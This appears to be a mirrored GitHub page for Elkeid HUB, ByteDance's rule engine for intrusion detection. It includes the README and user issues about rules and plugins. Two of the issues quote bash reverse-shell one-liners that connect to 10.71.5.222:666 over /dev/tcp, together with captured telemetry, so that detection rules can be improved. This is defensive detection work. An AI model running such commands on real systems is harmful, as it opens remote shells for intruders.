Giter Club home page Giter Club logo

bytedance / elkeid-hub Goto Github PK

View Code? Open in Web Editor NEW
87.0 9.0 25.0 150.86 MB

Elkeid HUB is a rule/event processing engine maintained by the Elkeid Team that supports streaming/offline (not yet supported by the community edition) data processing. The original intention is to solve complex data/event processing and external system linkage requirements through standardized rules.

Home Page: https://elkeid.bytedance.com

License: Other

Python 100.00%
rule-engine soar stream-processing event-engine ruleengine

elkeid-hub's Introduction

English | 简体中文

Elkeid HUB

Elkeid HUB is a rule/event processing engine maintained by the Elkeid Team that supports streaming/offline (not yet supported by the community edition) data processing. The original intention is to solve complex data/event processing and external system linkage requirements through standardized rules.

Core Components

  • INPUT data input layer, community edition only supports Kafka.
  • RULEENGINE/RULESET core components for data detection/external data linkage/data processing.
  • OUTPUT data output layer, community edition only supports Kafka/ES.
  • SMITH_DSL used to describe the data flow relationship.

Application Scenarios

  • Simple HIDS

  • IDS Like Scenarios

  • Multiple input and output scenarios

Advantage

  • High Performance
  • Very Few Dependencies
  • Support Complex Data Processing
  • Custom Plugin Support
  • Support Stateful Logic Build
  • Support External System/Data Linkage

Elkeid Internal Best Practices

  • Use Elkeid HUB to process Elkeid HIDS/RASP/Sandbox/K8s auditing etc. raw data, TPS 120+ million/s. HUB scheduling instance 6000+
  • 99% alarm produce time is less than 0.5s
  • Internal Maintenance Rules 2000+

Elkeid-HUB Function List

Ability List Elkeid Community Edition Elkeid Enterprise Edition
Streaming data processing
Data input, output capability
Full frontend support
Monitoring capability
Plugin support
Debug support
Offline data processing 🙅‍♂️
Data Persistence capability 🙅‍♂️
Workspace 🙅‍♂️
Cluster mode 🙅‍♂️
Online upgrade strategy 🙅‍♂️

Front-end Display (Community Edition)

Overview

Edit Rule

Edit HUB Project

Edit HUB Python Plugin

Submission Rules

Getting Started

Elkeid HUB Handbook (Chinese Version Only)

Handbook

Demo Config

Demo

Elkeid HIDS Rule and Project (Just Example)

Elkeid Project

(Need to use with Elkeid)

LICENSE (Not Business Friendly)

LICENSE

Contact us && Cooperation

elkeid-hub's People

Contributors

alkenepan avatar ebwi11 avatar hugebomb avatar taeroen avatar ugorange avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

elkeid-hub's Issues

sip出现了不存在的IP

本机IP为:10.50.11.48
内核版本: 2.6.32-696.el6.x86_64
规则:读取特定文件告警
image
image

其中【8.136.255.255】为不存在的IP。

问:为什么会出现此IP,可能的情况是什么?

hub的测试功能无法使用

创建的规则测试任务刚执行就结束,测试结果为空,请教大概是什么原因。(文档对规则测试这一块的讲解太简略了)

Kafkalag很高,达到200万

通过api,getkafkalag响应200万,hub输入源QPS为0,数据处理服务不可用,这个需要怎么排查和处理呀

信息收集不全

如下 图所示,针对59 类型的规则,发现客户端信息收集不全,请问有哪些可能的原因呢?
image

plugin存在的问题

在plugin/SendToLarkGroup/plugin.py更改了一下json输出的格式重新运行hub时出现报错[RuleCheck]Check RuleSetpush_alert error!plugin SendToLarkGroup not found
截图暂时没了
plugin.py更改内容:

class Plugin(object):

def __init__(self):
    self.name = None
    self.type = None
    self.log = None
    self.redis = None

def plugin_exec(self, arg, config):
    self.log.info(arg)
    self.log.info(config)
    arg=json.dumps(arg,indent=2) 
    result = dict()
    headers = {
        'Content-Type': 'application/json ',
        'charset':'utf-8',
    } 
    data = {
        "app_id": app_id,
        "app_secret": app_secret,
    }
    data=json.dumps(data,indent=2)    
    response = requests.post('https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal', headers=headers, data=data)
    self.log.info(response.json())
    token=response.json()['tenant_access_token']
    headers = {
        'Authorization': 'Bearer '+token,
        'Content-Type': 'application/json; charset=utf-8',
    }   
    data = {
        "open_chat_id":config["id"],
        "msg_type":"text",
        "content":{
            "text":arg,
        }       
    }
    data=json.dumps(data,indent=2) 
    self.log.info(data)
    response = requests.post('https://open.feishu.cn/open-apis/message/v3/send/', headers=headers, data=data)
    self.log.info(response.json())
    result["done"] = True
    return result

自己创建了一个plugin,名为ChangeMod
文件内容与上面一致只是名字不同
重新运行也报错[RuleCheck]Check RuleSetpush_alert error!plugin ChangeMod not found

然后把hub/py/.success删除重新运行./bootstrap.sh发现插件加载成功且格式已经变更。

最后问一下,为什么后台有告警了但是飞书机器人却没有及时发送消息甚至没有消息,策略都是已经设置了的。。
image

判断所有程序的stdin,stdout重定向,避免被绕过

麻烦评估下这个 规则改动,

#4

cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

{
"bootTime":"2022-01-19 18:48:20.000",
"cmdline":"/tmp/apache -i",
"cwd":"/",
"exe":"/tmp/apache",
"fd_num":"3",
"name":"apache",
"pid":"88184",
"ppid":"50250",
"r_addr_ip":"10.71.5.222",
"r_addr_port":"666",
"session":"50250",
"stderr":"socket:[583190616]",
"stdin":"socket:[583190616]",
"stdout":"socket:[583190616]",
"terminal":"/pts/0",
"username":"root"
},

执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

下载解压后,修改了config里的input,out对应的kafka地址。执行./bootstrap.sh,报了panic: [AgentSmith INIT] CUSTOM PLUGIN INIT FAILEDplugin process run timeout, List plugin error: stat /root/elkeid/elkeid_hub_community/py/elkeid.sock: no such file or directory
。按照文档说明去cat py/plugin.stdout,没有该文件
image

python插件进程未知原因挂了

我们做了某个规则,存在短时间内会有大量告警产生,告警后会有如下动作:

告警 -> 邮件
告警 -> 钉钉

个人怀疑可能是瞬时的邮件发送太多导致进程挂了。

麻烦官方看看。

错误如下:

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/elkeid/hub/py/pypy/site-packages/gevent/monkey.py", line 883, in _shutdown
    sleep()
  File "/elkeid/hub/py/pypy/site-packages/gevent/hub.py", line 159, in sleep
    waiter.get()
  File "/elkeid/hub/py/pypy/site-packages/gevent/_waiter.py", line 154, in get
    return self.hub.switch()
  File "/elkeid/hub/py/pypy/site-packages/gevent/_greenlet_primitives.py", line 65, in switch
    return _greenlet_switch(self) # pylint:disable=undefined-variable
  File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 61, in switch
    return self.__switch('switch', (args, kwds))
  File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 115, in __switch
    args, kwds = unbound_method(current, *baseargs, to=target)
  File "/elkeid/hub/py/pypy/site-packages/gevent/greenlet.py", line 906, in run
    result = self._run(*self.args, **self.kwargs)
  File "start.py", line 232, in MAdMVLLDiXAtecYUDHboItopciRTNvvQzoOQHRuqtSVzMHWtYmMVjCziVxLIiVqdWeHmBUuMHjLNqmPMNtWyLqVbRzuPyXyOYwseiTjyPcBFtkFGKCDkYljoCNxmQQib
    zXOOpLGxKCFTqTCDVeLFTGSmwadspsqrDRujvSasYDdMYMWTlYHKUpcvgrFviMkYuyfiDukfCQRZQGLUNLIdaRTZrVBZrjbSMbywnBxjpPxfqtimxIxxULfGGyyvtAiv = JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA(rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId, MpMqkamoyCAZEAWGzRMVPyTgurkzhLeBtamvZYMzJJEVzFELqcwIuBHoNKZneCDHeuBVfizKwweZHrGwymjvyOnGnoHSDOkhWGaUNNIIpIllzqAkLrwzSGPyaCBNtBgB)
  File "/elkeid/hub/py/sthqiWDuarARPqndkeXjroRbJVUlVjFOHZBhnByxlvcQcybBMNkqXCPaHTLWrviEjnXjgGLVxFKnwbYmOfBPWrMabvEHUBVhvVibmReBRJJuOTQAigWHnstvTTAmHphI.py", line 1267, in JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA
    IAWinSrpwEbhWZLtnwwpeygFGRmNhexkUISkMzrpRHWxBQUDJObqnIpdNqTBgNqBpOKJQdBujWacShKFulFkPMtZzvWJPTwMBjjzmQOBFkdICCVyRWIVnrhVoyxQmezM = MUxpTCwXyGICtMgnkyCDQPutAdqbDWUwTLljQxzYRhOCNlTaykQaqlCGtiTsDhAaLAkwHPJvZOUtegjsFnHVPbNIzUMUFtkCEObLCecvzJkgssyrkFoiuRgsrNApFrdQ[rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId](LeOrCeoGyEHyYBDtEtCGWeWUjuxIIahbnAnZbnghRHqvibDNMarZdlpZjjJKNOBmsJUDXZvaAXpOiESZNJUBSEYoPyCURBHmMXeaLfSAfbcbAYMocWFabmAzwYoNdLeh, TwqkyTgFXKcxyAfUseFdgomZURnsIDPtkDqFdSWZuVxKODQoYBdXBhHFYJVfNOFqyAzWdLfMCdSSQXTiDZlbbICRCjgQpkNnmJzfxoHZbQeurXdTCUjHPkfYiTqmZUbA)
  File "/elkeid/hub/config/plugin/SendToEmail/plugin.py", line 49, in plugin_exec
    exit(0)
  File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib-python/3/_sitebuiltins.py", line 26, in __call__
    raise SystemExit(code)
SystemExit: 0
2022-07-11T07:54:07Z <greenlet.greenlet object at 0x0000000001571550> failed with SystemExit

cat 反弹shell规则的判断

exec 5<>/dev/tcp/10.71.5.222/666;cat <&5|while read line;do $line >&5 2>&1;done

{
"bootTime":"2022-01-19 19:11:31.000",
"cmdline":"cat",
"cwd":"/",
"exe":"/usr/bin/cat",
"fd_num":"1",
"name":"cat",
"pid":"12778",
"ppid":"50250",
"r_addr_ip":"10.71.5.222",
"r_addr_port":"666",
"session":"50250",
"stderr":"/dev/pts/0",
"stdin":"socket:[583396364]",
"stdout":"pipe:[583396365]",
"terminal":"/pts/0",
"username":"root"
},

这种反弹shell如何判断比较好?没有进程命令行特征,直接判断cat 输入有重定向?

CUSTOM_ALLDATA 类型调用插件未生效

规则如下,在check_node中调用【DetectTTY】插件,类型为文档中的【CUSTOM_ALLDATA】

    <rule rule_id="pipe_shell_detect" author="mg" type="Detection">
        <rule_name>pipe_shell_custom_detect</rule_name>
        <alert_data>True</alert_data>
        <harm_level>high</harm_level>
        <desc kill_chain_id="persistent" affected_target="host_process">Double Piped Reverse Shell Detection, Connection Part</desc>
        <filter part="data_type">59</filter>
        <check_list>
            <!-- <check_node type="EQU" part="exe" logic_type="or" separator="|">
                <![CDATA[/bin/cat|/usr/bin/cat|/usr/bin/ls|/bin/ls|/usr/bin/cp|/bin/cp]]>
            </check_node> -->
            <check_node type="CUSTOM_ALLDATA">DetectTTY</check_node>
        </check_list>
        <node_designate></node_designate>
        <del />
        <modify></modify>
        <action />
        <append type="static" append_field_name="alert_type_us">persistent</append>
        <append type="static" append_field_name="rule_name">pipe_shell_custom_detect</append>
    </rule>

【DetectTTY】插件代码

from ast import Try
import json

class Plugin(object):

    def __init__(self):
        self.name = None
        self.type = None
        self.log = None
        self.redis = None

    def plugin_exec(self, arg, config):
        self.log.info(arg)
        result = dict()
        try:
            data = json.loads(arg)
            tty = data['tty']
            new_tty = tty[:3]+'/'+tty[3:]
            if data['stdin'].find(new_tty) > -1 and data['stdout'].find(new_tty) > -1:
                result["flag"] = False
                result["msg"] = arg
                self.log.info('false')
            else:
                result["flag"] = True
                result["msg"] = arg
                self.log.info('true')
        except Exception as e:
            result["flag"] = False
            result["msg"] = arg
            self.log.info('exce')
            return  result

目录【DetectTTY/elkeid.txt】的内容

[root@elkeid DetectTTY]# cat elkeid.txt 
[plugin]
name = DetectTTY
type = Custom
description = tty
runtime = Python
author = mg

执行相关命令后,未发现日志信息有任何关于此插件的信息打印,但是其它插件有信息打印出来

Wa8ievVkAc

m55BhBUzNs

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.